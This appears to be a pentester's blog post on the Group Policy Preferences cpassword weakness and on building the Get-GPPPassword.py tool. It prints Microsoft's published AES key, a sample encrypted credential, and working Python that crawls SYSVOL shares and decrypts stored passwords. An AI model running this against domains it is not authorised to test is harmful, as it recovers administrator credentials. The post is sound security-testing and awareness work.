Exploiting Windows Group Policy Preferences

Table of contents :

Introduction

In this article, I will expose the dangers of using Group Policy Preferences (GPP) to store passwords in Group Policies of a domain. As mentioned on adsecurity.org, the first known article on the subject was published in 2012 by @emiliengirault. In the second part, I will explain how we created the Get-GPPPassword.py tool with Shutdown to help find and automatically decrypt Group Policy Preferences Passwords.

What are Group Policy Preferences

Group Policy Preferences (GPP) are an extension of Group Policies, used to override a preference on a group of machines. They can be accessed by any authenticated users, in read-only access to the SYSVOL shared folder of a Windows domain controller. These policies can be particularly interesting during pentests, as they can contain useful informations such as credentials. In the next section, we will focus on how the credentials are stored in Group Policy Preferences XML files.

Credentials in Group Policy Preferences

Since any user can access these Group Policy Preferences (GPP), the credentials are not stored in cleartext in the XML files. Well … sort of. The credentials are encrypted and stored in the cpassword field of Properties attributes in XML files like this one :

<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{e18bd30b-c7bd-c99f-78bb-206b434d0b08}">
	<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
		<Properties action="U" newName="ADSAdmin" fullName="" description="" cpassword="RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthonty="RID_ADMIN" userNarne="Administrator (built-in)" expires="2015-02-17" />
	</User>
</Groups>

This system would not be so bad, if only Microsoft did not publish the AES private key on MSDN to decrypt the password. Oh wait …. They did :

MSDN GPP AES Key

The Group Policy Preferences’s cpassword AES key is :

4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

This AES key is always used to encrypt passwords in Group Policy Preferences’s cpassword fields, along with a null Initialisation Vector (IV). Therefore there is no security remaining in this storage system for sensitive informations, such as credentials. Since all authenticated users have read access to the SYSVOL share, anyone look for XML files containing Properties with cpassword fields, containing the AES encrypted passwords.

Writting Get-GPPPassword tool

Now that we know how passwords are stored in Group Policy Preferences, we decided with Shutdown to develop a tool, based on impacket, aiming to help find and automatically decrypt Group Policy Preferences Passwords. So we made Get-GPPPassword.py !

This tool is composed of three major parts :

I will explain these parts more in depth in the next sections.

Finding XML files in shares

The first thing we needed in this tool is to find paths to possible XML Group Policy Preferences files in the shares (SYSVOL or others). In order to do this, we used a breadth-first search algorithm to crawl the share recursively for XML files.

def find_cpasswords(self, base_dir, extension='xml'):
    # Breadth-first search algorithm to recursively find .extension files
    files = []
    searchdirs = [base_dir + '/']
    while len(searchdirs) != 0:
        next_dirs = []
        # Iterating on directories to crawl
        for sdir in searchdirs:
            # Iterating on crawl results of depth 1
            for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None):
                if sharedfile.get_longname() not in ['.', '..']:
                    if sharedfile.is_directory():
                        # Found directory, saving for next search in searchdirs
                        next_dirs.append(sdir + sharedfile.get_longname() + '/')
                    else:
                        if sharedfile.get_longname().endswith('.' + extension):
                            # Found matching XML file
                            # TODO: parse file & show results
                            pass
                        else:
                            # Found other file
                            pass
        searchdirs = next_dirs
    return files

Now that we can find XMl files in the shares, we need to parse these files. This is what we will study in the next part.

Parsing files on the fly

One of the things we wanted with Shutdown, is to be able to open files directly on the fly, without mounting the share. Mounting a share is not possible without special rights/capabilities in Docker containers, and we wanted our tool to be able to run smoothly into Exegol.

We decided to open files on the fly, without mounting the share. To do this, we read the code submitted of this impacket pull request, where mxrch used BytesIO object to open files without mounting the share.

We made the following parse function :

def parse(self, filename):
    results = []
    filename = filename.replace('/', '\\')
    fh = BytesIO()
    try:
        # opening the files in streams instead of mounting shares allows for running the script from
        # unprivileged containers
        self.smb.getFile(self.share, filename, fh.write)
    except SessionError as e:
        logging.error(e)
        return results
    except Exception as e:
        raise
    output = fh.getvalue()
    encoding = chardet.detect(output)["encoding"]
    if encoding != None:
        filecontent = output.decode(encoding).rstrip()
        # Do parsing here
    else:
        # Output cannot be correctly decoded
        fh.close()
    return results

This function handles the file read, as well as the XML parsing. Now that we have the file contents, it’s time to decrypt these cpassword fields !

Decrypting cpassword fields

Let’s get to the fun part ! Decrypting the AES-encrypted cpassword fields found in XML files !

# AES Key : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be)
key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'
# Fixed null IV
iv = b'\x00' * 16
# Padding the ciphertext
pad = len(pw_enc_b64) % 4
if pad == 1:
    pw_enc_b64 = pw_enc_b64[:-1]
elif pad == 2 or pad == 3:
    pw_enc_b64 += '=' * (4 - pad)
pw_enc = base64.b64decode(pw_enc_b64)
# Create context
ctx = AES.new(key, AES.MODE_CBC, iv)
# Decryption
password = unpad(ctx.decrypt(pw_enc), ctx.block_size).decode('utf-16-le')
print(password)

With this part, we are now able to successfully decrypt cpassword fields of Group Policy Preferences XML files ! Now it’s the time to wrap everything together.

Wrapping up everything

Combining all of this parts, we built a script named Get-GPPPassword.py. We submitted a pull request to the impacket examples scripts, and it was accepted ! Shutdown also included it into Exegol !

Here is a little demonstration of this cool tool in action :

References